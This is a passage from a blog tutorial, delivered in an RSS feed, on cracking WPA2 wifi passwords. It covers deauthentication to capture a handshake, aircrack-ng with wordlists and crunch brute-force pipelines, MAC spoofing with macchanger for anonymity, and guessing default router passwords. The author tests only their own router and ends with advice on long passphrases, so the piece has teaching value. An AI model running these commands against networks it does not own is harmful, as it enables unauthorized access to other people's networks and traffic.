03:24:07  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:07  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:08  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:08  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:09  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:09  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:10  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:10  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:11  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:11  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:11  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
</code></pre><p>Your terminal screen will continue to fill with these messages. Keep the command running until you see a <code>WPA handshake: XX:XX:XX:XX:XX:XX</code> message on the upper right of the first window running the <code>airodump-ng</code> command. That window will look as follows (notice the message on the upper right):</p>
<pre tabindex="0"><code> CH  7 ][ Elapsed: 1 min ][ 2019-09-28 03:25 ][ WPA handshake: 7C:B1:DF:B9:12:59

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 7C:B1:DF:B9:12:59  -44  96      871       96    0   7  130  WPA2 CCMP   PSK  Lower The Rent

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 7C:B1:DF:B9:12:59  49:12:C4:53:EF:4A  -41    1e- 1      0       78
</code></pre><p>If you see the message, you have successfully captured the handshake. The last step left to do now is to crack this handshake and reveal the password in plaintext.</p>
<h2 id="cracking-the-password">Cracking the password</h2>
<p>Recall that we saved our <code>airodump-ng</code> scan to a file named <code>SCAN_OUTPUT</code>. You&rsquo;ll see several files in the directory by the same name, but you&rsquo;ll only need the one with a <code>.cap</code> extension. From here, there are two approaches to cracking the password. You can use a wordlist and see if one of the passwords in the wordlist is the actual password to the access point, or you can opt to use a program that generates passwords and attempts each one (brute forcing).</p>
<p>First, we&rsquo;ll go over the approach using a wordlist. The command to begin cracking using a wordlist is as follows:</p>
<pre tabindex="0"><code>$ aircrack-ng -w wordlist.txt SCAN_OUTPUT.cap
</code></pre><p>In my case, I used a short wordlist of 4800 passwords to try and crack the handshake. I was not able to find the key, but this is what the output will look like:</p>
<pre tabindex="0"><code>                              Aircrack-ng 1.5.2

      [00:00:00] 4800/4799 keys tested (5047.82 k/s)

      Time left: 0 seconds                                     100.02%

                                KEY NOT FOUND

      Master Key     : 8B BB 3C 7A 08 50 43 73 73 BC 27 A0 A0 20 C2 C4
                       F8 82 0E 55 32 29 28 4C 93 CD 4D C0 3E E3 9C 4C

      Transient Key  : DE 14 79 DB 14 3B ED 7A 0D 80 FC DA 67 77 5C 09
                       C7 95 27 0C AC 2A 3B 2B 08 5F B5 22 B5 F6 F7 0F
                       C5 50 68 68 85 00 1E 80 33 1B F8 D9 FE E2 5B F4
                       71 EE D0 87 E4 57 ED 21 2D 66 CC 0B A7 A7 0D 1D

      EAPOL HMAC     : 35 D8 56 95 03 0B DF 6B 48 C4 DE 21 DB 01 7F E7
</code></pre><p>The tool will go through every password in the wordlist and try to crack the access point&rsquo;s password. Wordlists are convenient and can be fast, but if the password is not in the wordlist itself, we&rsquo;ll need to try bruteforcing.</p>
<p>There are likely several tools out there that can generate password combinations, but I used <code>crunch</code>. The formula to feed passwords generated by <code>crunch</code> into <code>aircrack-ng</code> is as follows (notice we need to specify the ESSID this time):</p>
<pre tabindex="0"><code>$ crunch [min password length] [max password length] [characters to use] | aircrack-ng -w - [filename.cap] -e [ESSID]
</code></pre><p>I already know the length of the password to my own router. My full command looks like this:</p>
<pre tabindex="0"><code>$ crunch 14 14 abcdefghijklmnopqrstuvwxyz1234567890 | aircrack-ng -w - SCAN_OUTPUT.cap -e Lower\ The\ Rent
</code></pre><p>This will be very slow, as the program will attempt every 14-character letter and number combination possible.</p>
<p>In my case, my router has the default password of <code>pinkcoconut165</code>. With this knowledge, I can specify further. Instead of attempting a random mix of letters and numbers, I can test for a specific arrangement of letters/numbers. Obviously, this would not be known if we were attacking a completely unknown access point, but I want to demonstrate what a successful crack looks like. Using the <code>-t</code> option we can specify a pattern. Here&rsquo;s the description from the <code>man</code> page:</p>
<pre tabindex="0"><code>-t @,%^
      Specifies a pattern, eg: @@god@@@@ where the only the @&#39;s, ,&#39;s, %&#39;s, and ^&#39;s will change.
      @ will insert lower case characters
      , will insert upper case characters
      % will insert numbers
      ^ will insert symbols
</code></pre><p>With this flag, we can modify our command as follows:</p>
<pre tabindex="0"><code>$ crunch 14 14 -t @@@@@@@@@@@%%%  | aircrack-ng -w - SCAN_OUTPUT.cap -e Lower\ The\ Rent
</code></pre><p>This will still take long, however, due to the length of the password. Let&rsquo;s cheat a little bit just to show the success screen. Here&rsquo;s the new command where we will type in the letters of the password and only try to guess the remaining digits:</p>
<pre tabindex="0"><code>crunch 14 14 -t pinkcoconut%%% | aircrack-ng -w - SCAN_OUTPUT.cap -e Lower\ The\ Rent
</code></pre><p>Success! The password has been found:</p>
<pre tabindex="0"><code>                              Aircrack-ng 1.5.2


                   [00:00:03] 842 keys tested (262.68 k/s)


                        KEY FOUND! [ pinkcoconut165 ]


      Master Key     : 1C 7E B9 AE 6E 96 C3 29 A1 CC 8F 70 CE 3D 41 46
                       6A 02 A6 A3 82 E8 19 D8 34 12 E2 62 A6 79 8B C7

      Transient Key  : C1 FA BC A8 1E 15 B9 3F 7C 59 AA 00 8D 6F 9A C1
                       F8 D6 F2 A1 BB 8A 0F 71 05 D1 C0 89 88 34 04 CC
                       5A 10 EF FF 77 08 13 EF CA 8B 10 53 31 5E 65 20
                       A9 A8 25 7A 37 AA A8 A4 BD 67 6F E4 F9 36 14 C4

      EAPOL HMAC     : 92 FB C9 F7 B9 1B 60 B1 82 9B 90 BA 03 EF E4 83
</code></pre><h2 id="additional-tips">Additional Tips</h2>
<h3 id="changing-your-mac-address">Changing Your MAC Address</h3>
<p>If you want to stay as anonymous as possible, you can change your MAC Address before attempting any of this. You can easily do this using a tool like <code>macchanger</code>. The following command will assign a randomized MAC address to the <code>wlan0</code> interface:</p>
<pre tabindex="0"><code>$ macchanger -r wlan0
</code></pre><p>We can be more clever and use a MAC address from a known company. The first 3 bytes of a MAC address are known as the Organizationally Unique Identifier (OUI) and can identify the manufacturer. For example, some of Dell&rsquo;s devices have the first 3 bytes as <code>F8:DB:88</code>. The last 3 bytes can be anything, as long as it is within the range of A-F and 0-9 (hexadecimal values).</p>
<p>We can specify a MAC address with the following command:</p>
<pre tabindex="0"><code>$ macchanger -m f8:d8:88:64:fd:c7 wlan0
</code></pre><p>On macOS you can change the MAC address of an interface to one of your choosing with the following command:</p>
<pre tabindex="0"><code>$ sudo ifconfig wlan0 ether f8-db-88-e4-94-5d
</code></pre><p>Using this knowledge of MAC Addresses, we can also determine the manufacturers of the access points we scan. We can look up the MAC addresses, figure out the manufacturer, and see if there are other vulnerabilities with specific device models. Maybe we&rsquo;ll discover their formula for default passwords (which lots of people never change) to be, say, a combination of 5 letters and 5 numbers, which can help us crack the password. Any hint helps. Additionally, default ESSID names, such as &ldquo;NETGEAR23-2G&rdquo;, could mean that the user never changed the default password either ;).</p>
<h3 id="password-lists">Password Lists</h3>
<p>Password lists are often used in password cracking to speed up the process. Instead of trying every possible combination of characters, we can try our luck using leaked passwords from one of these lists. A good place to find passwords lists and more is the 

<a href="https://github.com/danielmiessler/SecLists" target="_blank" rel="noopener">SecLists GitHub repo</a>. To start off, I suggest trying one of the 

<a href="https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials" target="_blank" rel="noopener">&ldquo;Common Credentials&rdquo; lists</a>.</p>
<p>Password lists can be used along with the <code>crunch</code> tool we used earlier. <code>crunch</code> has much more functionality that I did not dive into. I encourage you to read through the <code>man</code> pages and learn more about it. It&rsquo;s versatile but still easy to pick up.</p>
<h2 id="conclusions">Conclusions</h2>
<p>In this post I covered how to use <code>aircrack-ng</code> to scan for nearby access points, capture the 4-way handshake by sending spoofed deauthentication packets, and crack the hash using <code>crunch</code>. Once again, only try this on devices you own!</p>
<p>Scanning for wifi networks and acquiring handshakes is not too difficult. Anyone with some command line experience can achieve this. The hardest part will be cracking the password itself due to processing power required.</p>
<p>This is an example of why long passwords are important. It is not enough to add symbols to a short password. In fact, it is better to get into the habit of creating pass-<em>phrases</em> as opposed to pass-<em>words</em>. A combination of words with lowercase and capital letters in addition so symbols will be more secure than a single word with symbols. In other words, <code>!ThisIsALongPassword123?</code> is much harder to crack than <code>Password123?</code></p>
<p>There are other tools that we could have used to crack the password, such as <code>hashcat</code>. If I&rsquo;m not mistaken, <code>hashcat</code> can take advantage of a GPU which will allow you to crack passwords much faster. However, I wanted to focus on the tools that come with the <code>aircrack-ng</code> suite.</p>
<p>This concludes my wifi hacking notes, I hope you learned something!</p>
]]></content:encoded>
    </item>
  </channel>
</rss>
